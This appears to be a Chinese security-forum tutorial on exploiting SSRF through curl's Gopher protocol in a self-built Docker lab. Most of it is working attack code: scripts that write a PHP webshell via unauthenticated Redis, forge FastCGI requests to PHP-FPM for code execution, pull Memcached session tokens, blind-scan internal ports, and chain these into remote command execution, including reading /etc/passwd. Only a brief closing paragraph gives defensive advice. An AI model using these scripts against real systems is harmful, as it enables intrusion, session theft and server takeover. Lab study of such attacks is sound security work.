基于Gopher协议残存攻击面的SSRF内网协议链式探测
Gopher协议诞生于1991年,最初用于分布式文档检索,格式极为简单:客户端连接服务器特定端口后,发送一行选择器字符串,服务端返回原始字节流,连接关闭。协议本身不解析任何内容——什么字节进去,什么字节出来。
这个特性在2000年代随着Web崛起被遗忘,但它从未被各大HTTP客户端库移除。libcurl从4.x时代就支持Gopher,并且至今默认编译进去。这意味着:任何调用系统curl的应用,都可能成为向内网任意TCP端口发送任意字节的跳板。 - - - - - - 一、实验环境完整搭建 ---------- ### 1.1 宿主机前置验证 在Kali Linux上确认curl带Gopher支持: ```php curl --version | grep Protocols ```  确认Docker和Docker Compose版本:  ### 1.2 目录结构  ### 1.3 SSRF靶机(Flask + subprocess curl) Flask应用通过`subprocess`调用系统curl处理URL请求,这是现实环境中最常见的形式:运维脚本、图片抓取服务、URL预览功能,大量使用这种模式。 `ssrf-app/app.py`: ```php from flask import Flask, request, Response import subprocess, shlex app = Flask(__name__) @app.route("/fetch") def fetch(): url = request.args.get("url", "") if not url: return Response("missing url", status=400) try: # 没有任何协议或IP过滤 —— 模拟真实漏洞 result = subprocess.run( ["curl", "-s", "--max-time", "8", url], capture_output=True, timeout=10, ) return Response(result.stdout, content_type="application/octet-stream") except subprocess.TimeoutExpired: return Response("timeout", status=504) except Exception as e: return Response(str(e), status=500) if __name__ == "__main__": app.run(host="0.0.0.0", port=8080) ``` `ssrf-app/requirements.txt`: ```php flask==3.1.0 ``` `ssrf-app/Dockerfile`: ```php FROM python:3.12-slim RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt COPY app.py . CMD ["python", "app.py"] ``` ### 1.4 webroot初始化 webroot卷由Redis、nginx、php-fpm共享。Redis写入webshell前,nginx需要能正常响应(nginx要求目录存在才能启动): ```php echo '<?php phpinfo(); ?>' > ~/ssrf-lab/webroot/index.php ```  ### 1.5 nginx配置 `nginx.conf`: ```php server { listen 80; root /var/www/html; index index.php; location ~ \.php$ { fastcgi_pass phpfpm:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } location / { try_files $uri $uri/ =404; } } ``` ### 1.6 docker-compose.yml ```php version: "3.9" services: ssrf-target: build: ./ssrf-app ports: - "8080:8080" networks: - internal - external redis: image: redis:7-alpine # 以 www-data(uid=33) 运行:Redis 默认 umask(0177) 会让写出的文件权限为 600, # 若以 root 或其他 UID 运行,nginx/php-fpm(www-data)无法读取 shell.php。 # 改为 uid=33 后文件属主与 nginx/php-fpm 一致,无需额外 chmod。 user: "33:33" command: redis-server --protected-mode no --enable-protected-configs yes --loglevel verbose volumes: - webroot:/var/www/html networks: - internal nginx: image: nginx:alpine volumes: - webroot:/var/www/html - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro networks: - internal phpfpm: image: php:8.1-fpm volumes: - webroot:/var/www/html networks: - internal memcached: image: memcached:1.5-alpine networks: - internal mysql: image: mysql:8.0 environment: MYSQL_ROOT_PASSWORD: root MYSQL_ALLOW_EMPTY_PASSWORD: "yes" networks: - internal volumes: webroot: driver: local driver_opts: type: none o: bind # Docker local卷驱动要求绝对路径,./webroot 不生效;用 ${PWD} 展开 device: ${PWD}/webroot networks: internal: internal: true external: {} ``` ### 1.7 启动靶场 ```php cd ~/ssrf-lab docker compose up -d --build docker compose ps ```  基础连通性测试: ```php # SSRF端点可达 curl -s http://localhost:8080/fetch?url=http://nginx/ ```  二、Gopher URI字节注入原理 ------------------ Gopher URI格式: ```php gopher://<host>:<port>/<type><selector> ``` curl处理Gopher URL时执行以下操作: 1. 建立TCP连接到`host:port` 2. 对`/<type><selector>`中的第一个字符(type)跳过 3. 将剩余selector进行一次URL解码 4. 将解码结果作为原始字节写入TCP流 5. 读取响应直到连接关闭 所以`gopher://127.0.0.1:6379/_PING%0d%0a`的实际行为: - 类型字节:`_`(跳过) - 发送字节:`PING\r\n`(`%0d%0a`解码为`\r\n`) ### 2.1 编码层数验证 这是payload失败最常见的原因。Gopher URL通过SSRF端点传递时,存在两次解码: ```php 攻击者发送的HTTP请求 → 参数值被Flask URL解码一次,得到字符串传给subprocess curl → curl对Gopher路径URL解码一次,得到原始字节发送到TCP ``` 因此,要让curl最终发送`\r\n`到TCP,需要在URL里写`%0d%0a`(给curl解码);而这个`%0d%0a`需要原封不动地到达curl,所以传给Flask时必须写`%250d%250a`(`%25`是`%`的编码,Flask解码后得到`%0d%0a`,curl再解码得到`\r\n`)。 **实验验证**: ```php docker network inspect ssrf-lab_internal | grep '"Gateway"' ```  ```php #宿主机监听 nc -lvnp 9999 ``` **情形1:curl直接访问Gopher,单层编码** ```php curl 'gopher://127.0.0.1:9999/_HELLO%0d%0a' ```  终端A收到`HELLO\r\n`,nc按行显示为`HELLO`。此时只有curl的一次解码。 **情形2:通过SSRF转发,必须双层编码且使用宿主机Docker IP** 双层编码: ```php curl -sG --data-urlencode 'url=gopher://172.18.0.1:9999/_HELLO%0d%0a' \ http://localhost:8080/fetch ```  `--data-urlencode`对参数值做URL编码:`%0d%0a`中的`%`被编码为`%25`,HTTP请求中实际传递`url=gopher%3A%2F%2F172.18.0.1%3A9999%2F_HELLO%250d%250a`。Flask解码得`gopher://172.18.0.1:9999/_HELLO%0d%0a`,curl解码`%0d%0a`为`\r\n`,终端A收到`HELLO\r\n`。 三、Redis协议攻击链 ------------ ### 3.1 确认Redis可达及无认证 Redis服务名在Docker内网为`redis`,端口6379。所有通过SSRF发送的命令均需双层编码,使用`--data-urlencode`自动处理: ```php # 发送 PING\r\n(内联命令格式) curl -sG --data-urlencode 'url=gopher://redis:6379/_PING%0d%0a' \ http://localhost:8080/fetch ```  返回`+PONG`,说明Redis可达且无需认证。 获取Redis版本信息: ```php curl -sG --data-urlencode 'url=gopher://redis:6379/_INFO%20server%0d%0a' \ http://localhost:8080/fetch | grep redis_version ```  查看当前配置的工作目录和文件名: ```php curl -sG --data-urlencode 'url=gopher://redis:6379/_CONFIG%20GET%20dir%0d%0a' \ http://localhost:8080/fetch curl -sG --data-urlencode 'url=gopher://redis:6379/_CONFIG%20GET%20dbfilename%0d%0a' \ http://localhost:8080/fetch ```  ### 3.2 RESP数组格式与内联格式的区别 上面的PING/INFO用的是RESP内联格式(空格分隔),对于单命令可以工作。但涉及多命令流水线时,必须用RESP数组格式,原因在于Redis在读取内联命令时会遇到第一个`\r\n`就结束命令,无法在一次TCP连接中发送多条命令的内联序列。RESP数组格式则不受此限制。 RESP数组格式规范: ```php *<命令参数个数>\r\n $<参数1字节数>\r\n <参数1内容>\r\n $<参数2字节数>\r\n <参数2内容>\r\n ``` 以`CONFIG SET dir /var/www/html`为例,展开为: ```php *4\r\n ← 4个参数 $6\r\n ← 参数1长度:6 CONFIG\r\n ← 参数1内容 $3\r\n ← 参数2长度:3 SET\r\n ← 参数2内容 $3\r\n ← 参数3长度:3 dir\r\n ← 参数3内容 $13\r\n ← 参数4长度:13(/var/www/html = 13字符) /var/www/html\r\n ``` ### 3.3 生成Payload脚本 将以下代码保存为 `~/ssrf-lab/redis_gopher.py` ```php #!/usr/bin/env python3 """ 用途:生成向目标Redis写入webshell的Gopher URL 用法:python3 redis_gopher.py [redis_host] [webroot_dir] python3 redis_gopher.py redis /var/www/html """ import urllib.parse import sys def make_resp_array(args: list) -> bytes: """将命令参数列表编码为RESP数组格式""" out = f"*{len(args)}\r\n".encode() for arg in args: b = arg.encode() if isinstance(arg, str) else arg out += f"${len(b)}\r\n".encode() + b + b"\r\n" return out def make_redis_gopher(commands: list, host: str, port: int = 6379) -> str: """ commands: [ ["CONFIG","SET","dir","/var/www/html"], ["SAVE"], ... ] 返回完整的 gopher:// URL """ payload = b"" for cmd in commands: payload += make_resp_array(cmd) encoded = urllib.parse.quote(payload, safe="") return f"gopher://{host}:{port}/_{encoded}" redis_host = sys.argv[1] if len(sys.argv) > 1 else "redis" webroot = sys.argv[2] if len(sys.argv) > 2 else "/var/www/html" # webshell内容:26字节 SHELL_CONTENT = b"<?php system($_GET['c']);?>" commands = [ ["CONFIG", "SET", "dir", webroot], ["CONFIG", "SET", "dbfilename", "shell.php"], ["SET", "v", SHELL_CONTENT], ["SAVE"], ] url = make_redis_gopher(commands, redis_host) print(url) print(f"# 内容字节数: {len(SHELL_CONTENT)}", file=sys.stderr) print(f"# 对应RESP行: ${len(SHELL_CONTENT)}", file=sys.stderr) ``` 验证文件: ```php python3 ~/ssrf-lab/redis_gopher.py redis /var/www/html 2>/dev/null | head -c 80 ```  ### 3.4 执行写入 ```php # python3输出仅一行URL(额外信息已重定向到stderr) GOPHER_URL=$(python3 redis_gopher.py redis /var/www/html 2>/dev/null) # --data-urlencode 自动完成双层编码 curl -sG --data-urlencode "url=${GOPHER_URL}" http://localhost:8080/fetch ```  验证文件是否落到宿主机webroot: ```php ls -la ~/ssrf-lab/webroot/ ```  `shell.php`的文件大小是143字节而非26字节(webshell本身只有26字节),因为Redis保存的是RDB格式文件,webshell内容被包裹在二进制RDB结构中。 ### 3.5 RDB文件为何能执行PHP RDB(Redis Database Backup)是Redis的持久化格式,文件头固定为`REDIS`魔数加版本号,后跟二进制编码的键值对。`shell.php`文件内如下: ```php hexdump -C ~/ssrf-lab/webroot/shell.php ```  `3c 3f 70 68 70`即`<?php`,出现在偏移约0x76处。PHP解析器从文件开始扫描,遇到`<?php`之前的所有字节作为HTML输出(发送到客户端但通常被忽略),遇到`?>`之后继续扫描。整个RDB文件作为PHP文本处理时,只有被`<?php ... ?>`包裹的部分被执行,其余二进制内容输出为乱码,但webshell的命令执行结果夹在乱码中仍然清晰可读。 ### 3.6 验证webshell执行 通过SSRF访问nginx,让nginx转发给php-fpm: ```php curl -sG --data-urlencode 'url=http://nginx/shell.php?c=id' \ http://localhost:8080/fetch | strings | grep uid ```  查看/etc/passwd ```php curl -sG --data-urlencode 'url=http://nginx/shell.php?c=cat+/etc/passwd' \ http://localhost:8080/fetch | strings ```  四、FastCGI协议的二进制Payload构造 ------------------------ PHP-FPM默认监听9000端口,接受FastCGI协议的请求。FastCGI是纯二进制协议,无法用内联文本格式构造请求,必须手动组装二进制记录。 ### 4.1 协议结构 每条FastCGI记录由固定8字节头加可变长度正文组成: ```php 偏移 长度 字段 0 1 Version(固定0x01) 1 1 Type(记录类型) 2 2 RequestId(大端,通常为0x0001) 4 2 ContentLength(正文字节数,大端) 6 1 PaddingLength(填充字节数,使总长对齐8字节) 7 1 Reserved(固定0x00) [8 .. 8+ContentLength-1] 正文 [正文之后 .. +PaddingLength] 填充(0x00字节) ``` 关键记录类型: | | | | | |---|---|---|---| | Type值 | 常量名 | 方向 | 作用 | | 1 | FCGI\_BEGIN\_REQUEST | 客户端→服务端 | 开始一次FastCGI请求 | | 4 | FCGI\_PARAMS | 客户端→服务端 | 传递CGI环境变量 | | 5 | FCGI\_STDIN | 客户端→服务端 | 传递请求体(POST数据) | | 6 | FCGI\_STDOUT | 服务端→客户端 | PHP输出内容 | FCGI\_BEGIN\_REQUEST的正文固定8字节: ```php 偏移 长度 字段 0 2 Role(大端,1=RESPONDER) 2 1 Flags(0=不保持连接) 3 5 Reserved(全0) ``` FCGI\_PARAMS的正文是键值对序列,每对格式: ```php [键长度编码][值长度编码][键内容][值内容] ``` 长度编码规则:若长度<128,用1字节表示;若≥128,用4字节表示,最高位置1(即`length | 0x80000000`)。 ### 4.2 Payload生成脚本 将以下代码保存为 `~/ssrf-lab/fastcgi_gopher.py`: ```php #!/usr/bin/env python3 """ 生成通过Gopher+SSRF攻击PHP-FPM的payload 要求: - PHP-FPM版本 <= 8.1(8.2+默认禁止PHP_ADMIN_VALUE设置allow_url_include) - 目标服务器上存在SCRIPT_FILENAME指定的PHP文件 用法: python3 fastcgi_gopher.py [phpfpm_host] [target_php_file] """ import struct import urllib.parse import sys def encode_len(n: int) -> bytes: """FastCGI名值对长度编码:<128用1字节,>=128用4字节高位置1""" if n < 128: return bytes([n]) return struct.pack(">I", n | 0x80000000) def encode_params(params: dict) -> bytes: """将字典编码为FCGI_PARAMS正文字节序列""" out = b"" for k, v in params.items(): kb = k.encode() vb = v.encode() out += encode_len(len(kb)) + encode_len(len(vb)) + kb + vb return out def make_record(rtype: int, req_id: int, body: bytes) -> bytes: """构造一条FastCGI记录(含必要填充)""" clen = len(body) plen = (8 - (clen % 8)) % 8 hdr = struct.pack(">BBHHBB", 0x01, # Version rtype, # Type req_id, # RequestId(大端) clen, # ContentLength(大端) plen, # PaddingLength 0x00, # Reserved ) return hdr + body + b"\x00" * plen def build_fcgi_request(params: dict, stdin: bytes = b"") -> bytes: """组装完整的FastCGI请求字节流""" req_id = 1 out = b"" # 1. FCGI_BEGIN_REQUEST begin_body = struct.pack(">HB5x", 1, 0) out += make_record(1, req_id, begin_body) # 2. FCGI_PARAMS(正文非空) params_body = encode_params(params) out += make_record(4, req_id, params_body) # 3. FCGI_PARAMS(空正文,标志结束) out += make_record(4, req_id, b"") # 4. FCGI_STDIN(正文,若有POST数据) if stdin: out += make_record(5, req_id, stdin) # 5. FCGI_STDIN(空正文,标志结束) out += make_record(5, req_id, b"") return out # ── 配置 ────────────────────────────────────────────────────────────────────── fpm_host = sys.argv[1] if len(sys.argv) > 1 else "phpfpm" script = sys.argv[2] if len(sys.argv) > 2 else "/var/www/html/index.php" fpm_port = 9000 # php://input包含的PHP代码,作为auto_prepend_file执行 php_code = b"<?php system($_GET['c'] ?? 'id'); ?>\n" params = { "GATEWAY_INTERFACE": "FastCGI/1.0", "REQUEST_METHOD": "POST", "SCRIPT_FILENAME": script, "SCRIPT_NAME": "/index.php", "REQUEST_URI": "/", "DOCUMENT_ROOT": "/var/www/html", "SERVER_PROTOCOL": "HTTP/1.1", "SERVER_SOFTWARE": "nginx/1.25", "REMOTE_ADDR": "127.0.0.1", "REMOTE_PORT": "65000", "SERVER_ADDR": "127.0.0.1", "SERVER_PORT": "80", "SERVER_NAME": "localhost", "CONTENT_TYPE": "application/x-www-form-urlencoded", "CONTENT_LENGTH": str(len(php_code)), "PHP_VALUE": "auto_prepend_file = php://input", "PHP_ADMIN_VALUE": "allow_url_include = On", } raw = build_fcgi_request(params, stdin=php_code) enc = urllib.parse.quote(raw, safe="") gurl = f"gopher://{fpm_host}:{fpm_port}/_{enc}" print(gurl) print(f"# 原始payload: {len(raw)} bytes", file=sys.stderr) print(f"# PHP代码: {php_code.decode().strip()}", file=sys.stderr) print(f"# 目标文件: {script}", file=sys.stderr) ``` 验证文件: ```php python3 ~/ssrf-lab/fastcgi_gopher.py phpfpm /var/www/html/index.php 2>/dev/null | head -c 80 ```  ### 4.3 用Python socket绕过curl的Gopher限制 以下脚本直接通过Python socket向phpfpm:9000发送完整的FastCGI payload: ```php docker compose exec ssrf-target python3 -c " import socket, struct def rec(t, body): pl = (8 - len(body) % 8) % 8 return struct.pack('>BBHHBB', 1, t, 1, len(body), pl, 0) + body + b'\x00' * pl def elen(n): return bytes([n]) if n < 128 else struct.pack('>I', n | 0x80000000) def ep(d): o = b'' for k, v in d.items(): kb, vb = k.encode(), v.encode() o += elen(len(kb)) + elen(len(vb)) + kb + vb return o php_code = b\"<?php system('id'); ?>\" params = { 'SCRIPT_FILENAME': '/var/www/html/index.php', 'REQUEST_METHOD': 'GET', 'SERVER_SOFTWARE': 'test', 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On', 'CONTENT_TYPE': 'application/x-www-form-urlencoded', 'CONTENT_LENGTH': str(len(php_code)), } body = rec(1, struct.pack('>HB5x', 1, 0)) body += rec(4, ep(params)) body += rec(4, b'') body += rec(5, php_code) body += rec(5, b'') s = socket.create_connection(('phpfpm', 9000), timeout=5) s.sendall(body) resp = b'' while True: chunk = s.recv(4096) if not chunk: break resp += chunk s.close() # 从FastCGI响应中提取PHP输出(跳过协议头部和HTTP头) output = resp.split(b'\r\n\r\n', 1)[-1] if b'\r\n\r\n' in resp else resp print(output.decode(errors='ignore')[:300]) " ```  ### 4.5 理解auto\_prepend\_file机制 `auto_prepend_file`是PHP的ini配置项,指定在每个请求的主脚本执行前先包含(include)另一个文件。将其设为`php://input`,PHP会从请求体读取内容作为PHP代码执行。整个流程: 1. Gopher payload伪造FastCGI请求,指定`SCRIPT_FILENAME=/var/www/html/index.php` 2. `PHP_VALUE: auto_prepend_file = php://input`覆盖PHP配置 3. `PHP_ADMIN_VALUE: allow_url_include = On`允许包含流协议 4. PHP-FPM处理请求:先读取FCGI\_STDIN作为`php://input`,执行其中PHP代码 5. 再执行`index.php`(phpinfo输出,被覆盖在命令执行结果后面) PHP 8.2+的FPM在接收FastCGI请求时会检查`PHP_ADMIN_VALUE`中的配置项白名单,`allow_url_include`被列为禁止项。测试环境使用`php:8.1-fpm`规避此限制;生产环境中遇到8.2+时,可改用: ```php PHP_VALUE: extension = /tmp/evil.so ``` 需配合文件上传漏洞或其他写文件能力。 五、Memcached协议探测与数据提取 -------------------- ### 5.1 基础连通性确认 Memcached的ASCII协议极简,先发`version`命令: ```php curl -sG --data-urlencode 'url=gopher://memcached:11211/_%76%65%72%73%69%6f%6e%0d%0a' \ http://localhost:8080/fetch ``` //`%76%65%72%73%69%6f%6e` = `version`,`%0d%0a` = `\r\n`。  ### 5.2 写入测试数据 用Python生成正确的payload: ```php # 写入admin session(用Python精确计算长度) GOPHER_URL=$(python3 -c " import urllib.parse value = b'a:3:{s:4:\"user\";s:5:\"admin\";s:5:\"token\";s:16:\"8f14e45fceeb1678\";s:4:\"role\";s:5:\"admin\";}' cmd = f'set session:user_42 0 600 {len(value)}\r\n'.encode() + value + b'\r\n' print('gopher://memcached:11211/_' + urllib.parse.quote(cmd, safe='')) ") curl -sG --data-urlencode "url=${GOPHER_URL}" http://localhost:8080/fetch ```  写入第二条guest session: ```php GOPHER_URL2=$(python3 -c " import urllib.parse value = b'a:2:{s:4:\"user\";s:4:\"guest\";s:4:\"role\";s:5:\"guest\";}' cmd = f'set session:user_7 0 600 {len(value)}\r\n'.encode() + value + b'\r\n' print('gopher://memcached:11211/_' + urllib.parse.quote(cmd, safe='')) ") curl -sG --data-urlencode "url=${GOPHER_URL2}" http://localhost:8080/fetch ```  ### 5.3 枚举键名 ```php curl -sG --data-urlencode 'url=gopher://memcached:11211/_%73%74%61%74%73%20%69%74%65%6d%73%0d%0a' \ http://localhost:8080/fetch ```  每个slab编号对应一个大小级别。slab 3存放较短的session(user\_7),slab 4存放较长的session(user\_42)。 获取各slab的键名: ```php # slab 3 curl -sG --data-urlencode 'url=gopher://memcached:11211/_%73%74%61%74%73%20%63%61%63%68%65%64%75%6d%70%20%33%20%31%30%30%0d%0a' \ http://localhost:8080/fetch # slab 4 curl -sG --data-urlencode 'url=gopher://memcached:11211/_%73%74%61%74%73%20%63%61%63%68%65%64%75%6d%70%20%34%20%31%30%30%0d%0a' \ http://localhost:8080/fetch ```  ### 5.4 读取session内容 有了键名,直接读取session内容: ```php # get session:user_42(admin session) curl -sG --data-urlencode 'url=gopher://memcached:11211/_%67%65%74%20%73%65%73%73%69%6f%6e%3a%75%73%65%72%5f%34%32%0d%0a' \ http://localhost:8080/fetch ```  直接包含用户身份和权限信息。攻击者可以提取admin的session token,直接冒充管理员身份。 六、内网服务指纹识别 ---------- ### 6.1 连接触发Banner型服务 TCP连接建立后,发送协议对应的简单命令,根据响应格式判断服务类型: **Redis**(发PING,响应以`+`前缀是RESP协议标志): ```php curl -sG --data-urlencode 'url=gopher://redis:6379/_PING%0d%0a' \ http://localhost:8080/fetch ```  `+PONG`中的`+`前缀是Redis RESP协议的标志。 **nginx**(发GET / HTTP/1.0,响应是HTTP格式): ```php curl -sG --data-urlencode 'url=gopher://nginx:80/_%47%45%54%20%2f%20%48%54%54%50%2f%31%2e%30%0d%0a%0d%0a' \ http://localhost:8080/fetch | head -5 ```  HTTP响应头格式(`HTTP/1.1 200 OK`)是nginx的识别标志。 **MySQL**(连接后自动发送握手包,无需发送任何内容): ```php curl -sG --data-urlencode 'url=gopher://mysql_host:3306/_' \ http://localhost:8080/fetch | xxd | head -5 ```  ### 6.2 等待型服务 不主动发banner、需要客户端先发送数据的服务: **Memcached**(发送`version\r\n`才响应): ```php curl -sG --data-urlencode 'url=gopher://memcached:11211/_%76%65%72%73%69%6f%6e%0d%0a' \ http://localhost:8080/fetch ```  七、盲SSRF时间探测脚本 ------------- 当SSRF端点不返回任何响应内容时,利用响应时间差对内网做端口存活扫描。 ### 7.1 原理 ```php 端口关闭 → curl立即收到RST → Flask快速返回空body(<1s) 端口开放 → curl等待服务响应 → 等到max-time超时 → Flask返回空body(>=8s) ``` ### 7.2 完整脚本 `blind_ssrf_scan.py`: ```php #!/usr/bin/env python3 """ 盲SSRF时间探测:通过响应时间差区分端口状态 原理: 端口关闭→curl立即收到RST→Flask快速返回空body(<1s) 端口开放→curl等待服务响应→等到max-time超时→Flask返回空body(>=8s) """ import sys, time, ipaddress, urllib.parse import urllib.request SSRF_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/fetch" SUBNET = sys.argv[2] if len(sys.argv) > 2 else "172.19.0.0/24" PORTS_ARG = sys.argv[3] if len(sys.argv) > 3 else "80,6379,9000,11211" PORTS = [int(p) for p in PORTS_ARG.split(",")] TIMEOUT = 12.0 # 必须大于curl的--max-time(8s) def probe_port(ip: str, port: int) -> tuple: gopher = f"gopher://{ip}:{port}/_" encoded = urllib.parse.quote(gopher, safe="") target = f"{SSRF_URL}?url={encoded}" t0 = time.monotonic() try: req = urllib.request.Request(target) with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: body = resp.read() elapsed = time.monotonic() - t0 return elapsed, len(body) except Exception: elapsed = time.monotonic() - t0 return elapsed, -1 network = ipaddress.IPv4Network(SUBNET, strict=False) print(f"[*] 扫描 {SUBNET},{len(PORTS)} 个端口") print(f"[*] <1s=端口关闭(RST),>=8s=端口开放(服务等待),1-7s=连接超时(主机不可达)") print() for host in network.hosts(): ip = str(host) for port in PORTS: elapsed, clen = probe_port(ip, port) if elapsed < 1.0: if clen > 0: print(f"[OPEN ] {ip}:{port} {elapsed:.3f}s ({clen}B banner)") # 端口关闭,不打印 elif elapsed >= 7.5: print(f"[OPEN ] {ip}:{port} {elapsed:.2f}s (port open, service waiting)") else: # 1-7s:连接超时,主机可能不存在 pass # 不打印,避免噪音 print() print("[*] 扫描完成") ``` ### 7.3 运行 先确认内网子网: ```php docker network inspect ssrf-lab_internal | grep -E '"Subnet"|"Gateway"' ```  运行脚本: ```php python3 blind_ssrf_scan.py http://localhost:8080/fetch 172.19.0.0/24 "80,6379,9000,11211" ```  所有4个服务都显示8.02s超时,因为发送的是空payload(`/_`),没有任何服务对0字节连接返回响应。这说明盲SSRF扫描能发现端口开放的主机。 八、完整攻击链执行脚本 ----------- `full_chain.py`: ```php #!/usr/bin/env python3 """ 完整攻击链:SSRF确认 → Redis探测 → webshell写入 → 命令执行 用法:python3 full_chain.py [ssrf_endpoint] [redis_host] [nginx_host] python3 full_chain.py http://localhost:8080/fetch redis nginx """ import sys import urllib.parse import urllib.request import time # ── 配置 ────────────────────────────────────────────────────────────────────── SSRF = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/fetch" REDIS = sys.argv[2] if len(sys.argv) > 2 else "redis" WEB = sys.argv[3] if len(sys.argv) > 3 else "nginx" REDIS_PORT= 6379 WEB_ROOT = "/var/www/html" def ssrf_get(target_url: str) -> bytes: """通过SSRF端点获取目标URL的响应""" ssrf_req = f"{SSRF}?url={urllib.parse.quote(target_url, safe='')}" with urllib.request.urlopen(ssrf_req, timeout=12) as r: return r.read() def make_resp_array(args: list) -> bytes: out = f"*{len(args)}\r\n".encode() for a in args: b = a if isinstance(a, bytes) else a.encode() out += f"${len(b)}\r\n".encode() + b + b"\r\n" return out def make_redis_gopher(cmds: list, host: str, port: int = 6379) -> str: payload = b"".join(make_resp_array(c) for c in cmds) return f"gopher://{host}:{port}/_{urllib.parse.quote(payload, safe='')}" # ── 阶段1:确认SSRF支持Gopher ────────────────────────────────────────────────── print("[1] 确认SSRF端点可达...") try: resp = ssrf_get(f"gopher://{REDIS}:{REDIS_PORT}/_PING%0d%0a") if b"+PONG" in resp: print(f" ✓ Redis({REDIS}:{REDIS_PORT}) 可达") else: print(f" ✗ 响应: {resp[:40]}") sys.exit(1) except Exception as e: print(f" ✗ 失败: {e}") sys.exit(1) # ── 阶段2:获取Redis版本 ──────────────────────────────────────────────────────── print("[2] 获取Redis信息...") info = ssrf_get(f"gopher://{REDIS}:{REDIS_PORT}/_INFO%20server%0d%0a") for line in info.decode(errors="ignore").splitlines(): if "redis_version" in line or "os:" in line or "tcp_port" in line: print(f" {line.strip()}") # ── 阶段3:写入webshell ───────────────────────────────────────────────────────── print("[3] 向Redis写入webshell...") SHELL = b"<?php system($_GET['c']);?>" cmds = [ ["CONFIG", "SET", "dir", WEB_ROOT], ["CONFIG", "SET", "dbfilename", "shell.php"], ["SET", "v", SHELL], ["SAVE"], ] gopher_url = make_redis_gopher(cmds, REDIS, REDIS_PORT) result = ssrf_get(gopher_url) # RESP返回4个+OK表示4条命令均成功 ok_count = result.count(b"+OK") print(f" Redis返回 {ok_count} 个+OK(预期4个)") if ok_count < 4: print(f" 完整响应: {result[:100]}") sys.exit(1) print(" ✓ webshell写入完成,等待RDB写盘...") time.sleep(1) # ── 阶段4:验证命令执行 ───────────────────────────────────────────────────────── print("[4] 验证webshell执行...") test_cmd = urllib.parse.quote("id") webshell_url = f"http://{WEB}/shell.php?c={test_cmd}" output = ssrf_get(webshell_url) # 从可能含有RDB乱码的输出中提取uid行 for line in output.decode(errors="ignore").splitlines(): if "uid=" in line: print(f" ✓ 命令执行成功: {line.strip()}") break else: # 若PHP执行失败(文件不存在、权限问题),输出通常为nginx 404 print(f" ✗ 未找到uid输出。前100字节: {output[:100]}") sys.exit(1) print() print("[+] 完整攻击链成功。Webshell地址(通过SSRF访问):") print(f" {SSRF}?url=http://{WEB}/shell.php?c=COMMAND") ``` 运行: ```php python3 full_chain.py http://localhost:8080/fetch redis nginx ```  ### 结论 1. **curl的Gopher支持至今未移除**,任何调用系统curl的应用都可能成为内网渗透跳板。纯文本协议(Redis、Memcached、HTTP)的攻击链完整可用。 2. **curl Gopher无法处理二进制协议**(FastCGI、MySQL请求),因为`\x00`字节被当作字符串终止符截断。这是curl的实现限制,不是SSRF漏洞本身的问题。攻击者可用Python socket绕过。 3. **完整攻击链已验证**:`SSRF → Gopher → Redis写webshell → nginx执行 → 命令控制`。一个SSRF漏洞即可演变为内网RCE。 4. **防护建议**:SSRF端点应过滤所有非HTTP协议(包括Gopher),内网服务必须启用认证,URL校验不能仅依赖IP黑名单(需考虑IP变体绕过)。
发表于 2026-08-04 17:56:12
阅读 ( 62 )
分类:
WEB安全
0 推荐
收藏
0 条评论
guyu
0 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!